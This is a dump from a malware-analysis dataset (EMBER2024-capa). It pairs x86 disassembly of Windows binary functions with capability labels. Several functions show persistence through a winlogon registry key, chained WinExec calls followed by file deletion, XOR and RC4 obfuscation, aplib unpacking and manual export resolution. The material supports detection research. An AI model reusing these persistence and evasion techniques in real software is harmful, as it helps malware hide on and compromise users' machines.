joyce8/EMBER2024-capa huggingface dataset:
Function at 0x449d44
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x449d5b
add esp, 0xfffffff0
call fcn.00403530
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00418ff8
mov eax, dword [0x44df20]
cmp word [eax + 2], 0
jne 0x449d83
mov eax, dword [0x44df20]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0044b298
mov eax, dword [0x44dfc4]
cmp word [eax + 2], 0
jne 0x449d9d
mov eax, dword [0x44dfc4]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0044b490
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x4112f0]
call fcn.004031f4
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x4112f0]
call fcn.004031f4
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41b29c]
call fcn.00420ee4
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x449f24
mov eax, dword [0x44de4c]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.004212b4
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x44ba40
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x44de4c]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040bea8
test eax, eax
je 0x449e92
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408260
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040bed0
test eax, eax
je 0x449ea6
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004041cc
mov eax, dword [0x44dd54]
cmp byte [eax], 0
jne 0x449eda
mov eax, ebx
call fcn.0044a04c
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0044bc1c
mov eax, ebx
call fcn.0044c5e0
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x449f1a
call fcn.00403588
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44a2cc
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x44fbac]
cmp dword [eax + 0x30], 0
je 0x44a376
cmp dword [ebx + 0x94], 0
jne 0x44a370
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44a25c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x44a370
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44a336
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x44a370
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413658
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44a345
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x44aed8
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x44af0d
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.0040404c
jmp 0x44af1a
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403fb0
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x44bdf8
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x44be39
mov eax, esi
call fcn.00432938
test al, al
je 0x44be39
mov eax, dword [ebx + 0x84]
call fcn.004326d8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44be39
push 0
mov eax, dword [ebx + 0x84]
call fcn.004326d8
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x44c7a4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
xor eax, eax
push ebp
push 0x44c816
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x44c82c
lea edx, [ebp - 8]
mov eax, dword [0x44dfa8]
mov eax, dword [eax]
call fcn.0044b7a8
push dword [ebp - 8]
push 0x44c8c0
lea eax, [ebp - 4]
mov edx, 3
call fcn.004042dc
mov edx, dword [ebp - 4]
mov eax, 0x44c8ec
call fcn.0044c6d4
push 0
push 0x44c900
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44c81d
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403f80
ret

Function at 0x44c914
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
push ebp
push 0x44c94e
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x44c960
mov eax, 0x44c994
call fcn.0044c6d4
push 0
push 0x44c9a4
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44c955
ret
Function at 0x44cbb4
Capabilities:
Create process on windows
Delete file
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov eax, 0x44c9dc
call fcn.00405d14
xor eax, eax
push ebp
push 0x44ccd3
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.004029e4
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.00408108
mov edx, dword [ebp - 0x14]
mov eax, 0x44fbcc
call fcn.00403fb0
push 0x4e20
call sub.kernel32.dll_Sleep
mov eax, dword [0x44fbcc]
call fcn.0044c7a4
mov eax, dword [0x44fbcc]
call fcn.0044c914
push 0x1e
call sub.kernel32.dll_Sleep
mov edx, 0x44cce8
mov eax, 0x44cd64
call fcn.0044c6d4
push 3
push 0x44cd70
call sub.kernel32.dll_WinExec
push 0
push 0x44cd90
lea edx, [ebp - 0x20]
mov eax, dword [0x44dfa8]
mov eax, dword [eax]
call fcn.0044b7a8
push dword [ebp - 0x20]
push 0x44cda0
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.004042dc
mov eax, dword [ebp - 0x1c]
call fcn.0040441c
push eax
call sub.kernel32.dll_WinExec
push 0
push 0x44cdc4
call sub.kernel32.dll_WinExec
push 0
push 0x44ce28
call sub.kernel32.dll_WinExec
push 0x3e8
call sub.kernel32.dll_Sleep
push 0x44cec4
call sub.kernel32.dll_DeleteFileA
push 0x44ced8
call sub.kernel32.dll_DeleteFileA
push 0
call sub.kernel32.dll_ExitProcess_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44ccda
lea eax, [ebp - 0x20]
mov edx, 4
call fcn.00403f80
ret
Function at 0x401c30
Capabilities:
Clear file content
Get common file path

Disassembly:
sub esp, 0x400
push esi
xor esi, esi
cmp dword [0x24a2354], 0x400
push edi
jne 0x401c7c
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_DrawStateW]
push esi
call fcn.004041a1
push esi
call fcn.00404828
push esi
push esi
call fcn.00404673
push esi
call fcn.004048de
add esp, 0x14
xor edi, edi
cmp edi, 0x16c76
jge 0x401c8e
push esi
push esi
call dword [sym.imp.USER32.dll_SetCaretPos]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_LocalCompact]
cmp edi, 0x12e5c52
jg 0x401cb4
inc edi
cmp edi, 0x3003f
jl 0x401c7e
mov eax, dword [0x484b6c]
mov dword [0x24a2354], eax
call fcn.0040192c
mov edi, 0x3078f
cmp dword [0x24a2354], 0x51f
jne 0x401ce0
push esi
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
dec edi
jne 0x401cc8
pop edi
xor eax, eax
pop esi
add esp, 0x400
ret 0x10

Function at 0x4027b3
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
mov eax, 0x47d99d
call fcn.0047d820
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.00403489
xor edi, edi
push 4
mov dword [ebp - 4], edi
call fcn.004048ed
mov ebx, eax
pop ecx
cmp ebx, edi
je 0x4027fb
call fcn.0040323d
mov dword [ebx], eax
call fcn.00402ffc
mov ecx, eax
call fcn.004011a5
mov eax, ebx
jmp 0x4027fd
xor eax, eax
mov dword [esi + 0x38], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea ecx, [esi + 0x1c]
mov dword [esi + 0x24], ecx
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x2c]
mov dword [esi + 0x34], ecx
mov dword [eax], edi
mov eax, dword [esi + 0x24]
mov dword [eax], edi
mov eax, dword [esi + 0x34]
mov dword [eax], edi
mov eax, dword [esi + 0x10]
mov dword [eax], edi
mov eax, dword [esi + 0x20]
mov dword [eax], edi
mov eax, dword [esi + 0x30]
mov dword [eax], edi
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x3c], edi
mov dword [esi + 0x40], edi
pop edi
mov dword [esi], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4

Function at 0x404f75
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x48399c]
jne 0x404f7f
repz ret
jmp fcn.0040b6ac
Function at 0x40fa1e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x48399c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040721b
and dword [ebp - 0x14], 0
cmp dword [0x48fc4c], 0
mov dword [ebp - 0x18], eax
jne 0x40fad1
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40fb79
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40fb79
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x48fc4c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x48fc50], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x48fc54], eax
call edi
push eax
call esi
mov dword [0x48fc5c], eax
test eax, eax
je 0x40fad1
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x48fc58], eax
mov eax, dword [0x48fc58]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40fb2a
cmp dword [0x48fc5c], ecx
je 0x40fb2a
push eax
call esi
push dword [0x48fc5c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40fb2a
test ebx, ebx
je 0x40fb2a
call edi
test eax, eax
je 0x40fb21
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40fb21
test byte [ebp - 8], 1
jne 0x40fb2a
or dword [ebp + 0x10], 0x200000
jmp 0x40fb5d
mov eax, dword [0x48fc50]
cmp eax, dword [ebp - 0x18]
je 0x40fb5d
push eax
call esi
test eax, eax
je 0x40fb5d
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40fb5d
mov eax, dword [0x48fc54]
cmp eax, dword [ebp - 0x18]
je 0x40fb5d
push eax
call esi
test eax, eax
je 0x40fb5d
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x48fc4c]
call esi
test eax, eax
je 0x40fb79
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40fb7b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404f75
leave
ret
Function at 0x40129a
Capabilities:
Read .ini file

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push esi
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push dword [esp + 0x14]
mov ebx, 0x4030a0
mov edi, str.autorun
push 0x104
push ebp
push ebx
push str.RuntimePackage
push edi
call esi
cmp eax, 1
jae 0x4012ce
xor eax, eax
jmp 0x401308
push dword [esp + 0x14]
lea eax, [ebp + 0x105]
push 0x104
push eax
push ebx
push str.RegPath
push edi
call esi
cmp eax, 1
jb 0x4012ca
push dword [esp + 0x14]
add ebp, 0x20a
push 0x20
push ebp
push ebx
push str.Version
push edi
call esi
cmp eax, 1
sbb eax, eax
inc eax
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x40130d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push edi
push 0x41
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x213]
mov byte [ebp - 0x214], bl
rep stosd dword es:[edi], eax
push 0x41
lea edi, [ebp - 0x10b]
pop ecx
mov byte [ebp - 0x10c], bl
push dword [ebp + 8]
mov dword [ebp - 4], ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10c]
push str.Software_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 4]
mov dword [ebp + 8], 0x104
push eax
push 1
lea eax, [ebp - 0x10c]
push ebx
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4013a5
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x214]
push eax
push ebx
push ebx
push str.Version
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
test eax, eax
je 0x4013a9
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x4013c2
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x214]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 1
pop eax
pop edi
pop ebx
leave
ret
Function at 0x100027de
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor edi, edi
mov edx, eax
shr edx, 2
mov dword [ebp + 8], edi
mov esi, ebx
je 0x1000281a
inc dword [ebp + 8]
mov eax, dword [ebx]
mov cl, byte [ebp + 8]
rol eax, cl
add ebx, 4
xor eax, edi
xor eax, dword [0x1002b224]
mov edi, eax
mov dword [esi], edi
add esi, 4
dec edx
jne 0x100027f8
mov eax, dword [ebp + 0xc]
and eax, 3
je 0x10002838
mov edi, ebx
mov edx, eax
mov eax, esi
sub edi, esi
mov cl, byte [edi + eax]
mov bl, byte [0x1002b224]
xor bl, cl
mov byte [eax], bl
inc eax
dec edx
jne 0x10002827
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x1000283f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
mov eax, dword [ebp + 8]
xor ebx, ebx
mov edx, eax
shr edx, 2
push edi
mov dword [ebp - 4], ebx
mov edi, ecx
je 0x10002889
cmp dword [ebp + 0x10], 0
mov eax, dword [edi]
mov ecx, eax
je 0x1000286c
test eax, eax
jne 0x1000286c
xor edx, edx
inc edx
jmp 0x10002883
xor eax, ebx
xor eax, dword [ebp + 0xc]
add edi, 4
inc dword [ebp - 4]
mov ebx, ecx
mov cl, byte [ebp - 4]
ror eax, cl
mov dword [esi], eax
add esi, 4
dec edx
jne 0x10002859
mov eax, dword [ebp + 8]
cmp dword [ebp + 0x10], 0
jne 0x100028a8
and eax, 3
je 0x100028a8
mov edx, eax
mov eax, esi
sub edi, esi
mov cl, byte [edi + eax]
mov bl, byte [ebp + 0xc]
xor bl, cl
mov byte [eax], bl
inc eax
dec edx
jne 0x1000289a
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x10002a7a
Capabilities:
Hash data with md5

Disassembly:
and dword [eax + 0x14], 0
and dword [eax + 0x10], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret
Function at 0x1000416f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov ecx, dword [0x1002b258]
and dword [ebp - 4], 0
push esi
push edi
mov edi, dword [0x1002b218]
mov eax, dword [edi + 0x3c]
add eax, edi
movzx edx, word [eax + 6]
movzx esi, word [eax + 0x14]
imul edx, edx, 0x28
xor ecx, 0x243a
movzx ecx, cx
add edx, eax
mov dword [ebp - 8], ecx
lea esi, [esi + edx + 0x40]
jmp 0x100041b2
cmp ax, cx
je 0x100041c3
add esi, 0x14
movzx eax, word [esi]
test ax, ax
jne 0x100041aa
cmp word [esi], cx
jne 0x10004284
push ebx
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x100041d0
cmp dword [esi + 8], eax
jne 0x10004213
test byte [esi + 3], 2
jne 0x10004213
mov eax, dword [esi + 0x10]
inc eax
push eax
call fcn.10001000
mov ebx, eax
test ebx, ebx
je 0x10004210
mov eax, dword [esi + 0xc]
add eax, edi
test byte [esi + 3], 1
je 0x10004222
push ebx
push eax
call fcn.10008e70
cmp eax, dword [esi + 0x10]
jne 0x10004204
mov dword [ebp - 4], 1
cmp dword [ebp - 4], 0
jne 0x10004264
push ebx
call fcn.10001015
mov ecx, dword [ebp - 8]
movzx eax, byte [esi + 2]
lea esi, [esi + eax*4 + 0x14]
cmp word [esi], cx
je 0x100041c4
jmp 0x10004283
mov ecx, dword [esi + 0x10]
and dword [ebp - 4], 0
shr ecx, 2
mov dword [ebp + 0x10], ebx
je 0x10004248
mov edx, dword [eax]
sub edx, dword [ebp - 4]
mov edi, dword [ebp + 0x10]
add dword [ebp - 4], edx
add dword [ebp + 0x10], 4
add eax, 4
dec ecx
mov dword [edi], edx
jne 0x10004231
mov ecx, dword [esi + 0x10]
and ecx, 3
je 0x1000425d
push ecx
push eax
push dword [ebp + 0x10]
call fcn.1000896c
add esp, 0xc
mov dword [ebp - 4], 1
mov eax, dword [esi + 0x10]
mov byte [ebx + eax], 0
cmp dword [esi + 0x10], 4
jb 0x10004276
mov eax, dword [esi + 4]
xor dword [ebx], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov dword [eax], ebx
mov eax, dword [esi + 0x10]
mov dword [ecx], eax
pop ebx
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret 0xc
Function at 0x100043f1
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0x28
push 0x1002a2a0
call fcn.10009130
xor edx, edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 4], edx
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp word [eax + 4], 0x14c
jne 0x1000441a
add eax, 0x78
jmp 0x1000441f
add eax, 0x88
mov esi, dword [eax]
add esi, ecx
cmp dword [eax], edx
je 0x1000450d
cmp dword [eax + 4], edx
je 0x1000450d
cmp dword [esi + 0x1c], edx
je 0x1000450d
mov eax, dword [esi + 0x14]
mov dword [ebp - 0x28], eax
cmp eax, edx
je 0x1000450d
mov eax, dword [esi + 0x1c]
add eax, ecx
mov dword [ebp - 0x30], eax
cmp dword [esi + 0x24], edx
je 0x100044fd
mov edi, dword [esi + 0x24]
add edi, ecx
mov dword [ebp - 0x38], edi
mov ebx, dword [esi + 0x20]
add ebx, ecx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x28]
jae 0x1000450d
and dword [ebp - 0x1c], 0
xor eax, eax
inc eax
je 0x1000448e
movzx ecx, word [edi]
add ecx, dword [esi + 0x10]
cmp eax, ecx
jmp 0x100044bf
mov eax, dword [ebx]
add eax, ecx
mov dword [ebp - 0x2c], eax
xor ecx, ecx
inc ecx
je 0x100044ac
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100044c8
push ecx
push eax
call dword [0x1002a088]
test eax, eax
jmp 0x100044bf
push eax
call dword [0x1002a054]
mov ecx, dword [ebp - 0x2c]
call fcn.100028af
xor ecx, ecx
cmp ecx, eax
jne 0x100044c8
mov dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0
je 0x100044e7
movzx eax, word [edi]
mov ecx, dword [ebp - 0x30]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x20], eax
xor eax, eax
je 0x1000450d
mov ecx, dword [ebx]
add ecx, dword [ebp + 8]
mov dword [eax], ecx
jmp 0x1000450d
add ebx, 4
mov dword [ebp - 0x34], ebx
inc edi
inc edi
mov dword [ebp - 0x38], edi
inc dword [ebp - 0x24]
mov ecx, dword [ebp + 8]
jmp 0x1000446f
mov dword [ebp - 0x20], eax
jmp 0x1000450d
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x20]
call fcn.1000916b
ret 4
Function at 0x10008e70
Capabilities:
Decompress data using aplib

Disassembly:
sub esp, 0x14
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0xc]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x24]
mov al, byte [esi]
push edi
xor ebx, ebx
mov byte [ecx], al
add ecx, 1
xor edi, edi
add esi, 1
mov dword [esp + 0x10], ebx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], esi
lea ecx, [ecx]
mov eax, ebx
sub ebx, 1
test eax, eax
jne 0x10008eb6
movzx edx, byte [esi]
add esi, 1
mov dword [esp + 0x14], esi
lea ebx, [eax + 7]
mov eax, edx
shr eax, 7
and eax, 1
add edx, edx
test eax, eax
je 0x10009073
mov eax, ebx
sub ebx, 1
test eax, eax
mov dword [esp + 0x20], ebx
jne 0x10008ee8
movzx edx, byte [esi]
add esi, 1
mov ebx, 7
mov dword [esp + 0x14], esi
mov dword [esp + 0x20], ebx
mov eax, edx
shr eax, 7
and eax, 1
add edx, edx
test eax, eax
mov dword [esp + 0x1c], edx
je 0x10008fb8
mov eax, ebx
sub ebx, 1
test eax, eax
jne 0x10008f14
movzx edx, byte [esi]
add esi, 1
mov dword [esp + 0x14], esi
lea ebx, [eax + 7]
mov eax, edx
shr eax, 7
and eax, 1
add edx, edx
test eax, eax
je 0x10008f66
xor edi, edi
lea ebp, [edi + 4]
mov eax, ebx
sub ebx, 1
test eax, eax
jne 0x10008f39
movzx edx, byte [esi]
add esi, 1
lea ebx, [eax + 7]
mov eax, edx
shr eax, 7
and eax, 1
add edx, edx
sub ebp, 1
lea edi, [eax + edi*2]
jne 0x10008f27
test edi, edi
mov dword [esp + 0x14], esi
je 0x10008f5e
mov eax, ecx
sub eax, edi
mov al, byte [eax]
jmp 0x1000907c
mov byte [ecx], 0
jmp 0x1000907e
movzx ebp, byte [esi]
mov edi, ebp
and edi, 1
add esi, 1
add edi, 2
shr ebp, 1
mov dword [esp + 0x14], esi
je 0x10008fa2
test edi, edi
je 0x10008faa
mov eax, ecx
sub eax, ebp
mov al, byte [eax]
mov byte [ecx], al
add ecx, 1
sub edi, 1
jne 0x10008f80
mov dword [esp + 0x18], ecx
mov dword [esp + 0x28], ebp
mov edi, 1
jmp 0x10009087
mov dword [esp + 0x10], 1
mov dword [esp + 0x28], ebp
mov edi, 1
jmp 0x10009087
lea ecx, [esp + 0x14]
call fcn.10008df0
test edi, edi
jne 0x10008ffe
cmp eax, 2
jne 0x10008ff9
lea ecx, [esp + 0x14]
call fcn.10008df0
test eax, eax
mov ecx, dword [esp + 0x18]
je 0x10009060
nop
mov edx, ecx
sub edx, dword [esp + 0x28]
add ecx, 1
sub eax, 1
mov dl, byte [edx]
mov byte [ecx - 1], dl
jne 0x10008fe0
mov dword [esp + 0x18], ecx
jmp 0x10009060
sub eax, 3
jmp 0x10009001
sub eax, 2
mov ecx, dword [esp + 0x14]
movzx edx, byte [ecx]
add ecx, 1
shl eax, 8
add eax, edx
mov dword [esp + 0x14], ecx
lea ecx, [esp + 0x14]
mov esi, eax
call fcn.10008df0
cmp esi, 0x7d00
jb 0x1000902a
add eax, 1
cmp esi, 0x500
jb 0x10009035
add eax, 1
cmp esi, 0x80
jae 0x10009040
add eax, 2
test eax, eax
mov ecx, dword [esp + 0x18]
je 0x1000905c
mov edx, ecx
sub edx, esi
mov dl, byte [edx]
mov byte [ecx], dl
add ecx, 1
sub eax, 1
jne 0x10009048
mov dword [esp + 0x18], ecx
mov dword [esp + 0x28], esi
mov ebx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
mov esi, dword [esp + 0x14]
mov edi, 1
jmp 0x10009087
mov al, byte [esi]
add esi, 1
mov dword [esp + 0x14], esi
mov byte [ecx], al
add ecx, 1
xor edi, edi
mov dword [esp + 0x18], ecx
cmp dword [esp + 0x10], 0
je 0x10008ea0
pop edi
pop esi
mov eax, ecx
sub eax, dword [esp + 0x24]
pop ebp
pop ebx
add esp, 0x14
ret 8